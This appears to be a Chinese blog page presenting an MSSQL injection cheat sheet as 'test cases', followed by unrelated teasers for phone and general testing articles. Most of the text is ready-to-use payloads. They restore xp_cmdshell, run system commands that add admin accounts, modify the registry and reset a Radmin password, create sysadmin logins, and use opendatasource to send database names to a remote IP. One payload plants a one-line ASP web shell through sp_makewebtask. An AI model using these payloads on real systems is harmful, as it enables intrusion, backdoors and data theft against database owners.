SQL注入測試用例

2021-09-30 22:41:00 字數 4650 閱讀 7456

//看看是什麼許可權的

and 1=(select is_member('db_owner'))

and char(124)%2bcast(is_member('db_owner') as varchar(1))%2bchar(124)=1 ;--

//檢測是否有讀取某資料庫的許可權

and 1= (select has_dbaccess('master'))

and char(124)%2bcast(has_dbaccess('master') as varchar(1))%2bchar(124)=1 --

數字型別

and char(124)%2buser%2bchar(124)=0

字元型別

' and char(124)%2buser%2bchar(124)=0 and ''='

搜尋型別

' and char(124)%2buser%2bchar(124)=0 and '%'='

爆使用者名稱

and user>0

' and user>0 and ''='

檢測是否為sa許可權

and 1=(select is_srvrolemember('sysadmin'));--

and char(124)%2bcast(is_srvrolemember(0x730079007300610064006d0069006e00) as varchar(1))%2bchar(124)=1 --

檢測是不是mssql資料庫

and exists (select * from sysobjects);--

檢測是否支援多行

;declare @d int;--

恢復 xp_cmdshell

;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--

select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

//-----------------------

// 執行命令

//-----------------------

首先開啟沙盤模式:

exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1

然後利用jet.oledb執行系統命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

執行命令

;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:\winnt\system32\cmd.exe /c net user paf pafpaf /add';--

exec [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

判斷xp_cmdshell擴充套件儲存過程是否存在:

and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

寫登錄檔

exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1

reg_sz

讀登錄檔

exec master..xp_regread 'hkey_local_machine','software\microsoft\windows nt\currentversion\winlogon','userinit'

讀取目錄內容

exec master..xp_dirtree 'c:\winnt\system32\',1,1

資料庫備份

backup database pubs to disk = 'c:\123.bak'

//爆出長度

and (select char(124)%2bcast(count(1) as varchar(8000))%2bchar(124) from d99_tmp)=0 ;--

更改sa口令方法:用sql綜合利用工具連線後,執行命令:

exec sp_password null,'新密碼','sa'

新增和刪除乙個sa許可權的使用者test:

exec master.dbo.sp_addlogin test,ptlove

exec master.dbo.sp_addsrvrolemember test,sysadmin

刪除擴充套件儲存過過程xp_cmdshell的語句:

exec sp_dropextendedproc 'xp_cmdshell'

新增擴充套件儲存過過程

exec [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'

grant exec on xp_proxiedadata to public

停掉或啟用某個服務。

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

只列某個目錄下的子目錄。

xp_getfiledetails 'c:\inetpub\wwwroot\sqlinject\login.asp'

dbo.xp_makecab

將目標多個檔案壓縮到某個目標檔案之內。

所有要壓縮的檔案都可以接在引數列的最後方,以逗號隔開。

dbo.xp_makecab

'c:\test.cab','mszip',1,

'c:\inetpub\wwwroot\sqlinject\login.asp',

'c:\inetpub\wwwroot\sqlinject\securelogin.asp'

xp_terminate_process

停掉某個執行中的程式,但賦予的引數是 process id。

利用」任務管理器」,透過選單「檢視」-「選擇字段」勾選 pid,就可以看到每個執行程式的 process id

xp_terminate_process 2484

xp_unpackcab

解開壓縮檔。

xp_unpackcab 'c:\test.cab','c:\temp',1

某機,安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了還是被改名了,net.exe不存在,沒有辦法使用regedit /e 匯入註冊檔案,但是mssql是sa許可權,使用如下命令 exec master.dbo.xp_regwrite 'hkey_local_machine','system\radmin\v2.0\server\parameters','parameter','reg_binary',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密碼為12345678。如果要修改埠值 exec master.dbo.xp_regwrite 'hkey_local_machine','system\radmin\v2.0\server\parameters','port','reg_binary',0xd20400 則埠值改為1234

create database lcx;

create table ku(name nvarchar(256) null);

create table biao(id int null,name nvarchar(256) null);

//得到資料庫名

insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases

//在master中建立表,看看許可權怎樣

create table master..d_test(id nvarchar(4000) null,data nvarchar(4000) null);--

用 sp_makewebtask直接在web目錄裡寫入一句話馬:

';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//更新表內容

update films set kind = 'dramatic' where id = 123

//刪除內容

delete from table_name where stockid = 3

測試用例(四)測試用例編寫

一.測試用例編寫方法 1.等價類劃分 如何選擇適當的資料子集,來代表整個資料集。通過降低測試的資料去實現 合理的 覆蓋,覆蓋了更多的可能資料,以發現更多的軟體缺陷 邊界值分析法 2.邊界值分析 使用邊界值分析方法設計測試用例時一般與等價類劃分結合起來,但它不是從乙個等價類中任選乙個例子作為代表,而是...

手機測試用例 STK測試用例

id 功能描述 操作步驟 預期結果 test time p fcomment tester test time p fcomment tester stk服務 sim卡適應性測試 1 選取支援stk功能的sim卡,插入手機中 手機應支援stk功能,會將stk選單自動加入主選單列表中 2 進入stk功...

手機測試用例 通話測試用例

id 功能描述 操作步驟 預期結果 test time p fcomment tester test time p fcomment tester 通話功能 快速檢視已撥 1 待機介面下按一下呼叫鍵可進入已撥 記錄 2 每次呼叫記錄都應正確無誤 號碼 時間 序號 通話時長等 3 呼叫記錄按呼叫時間順...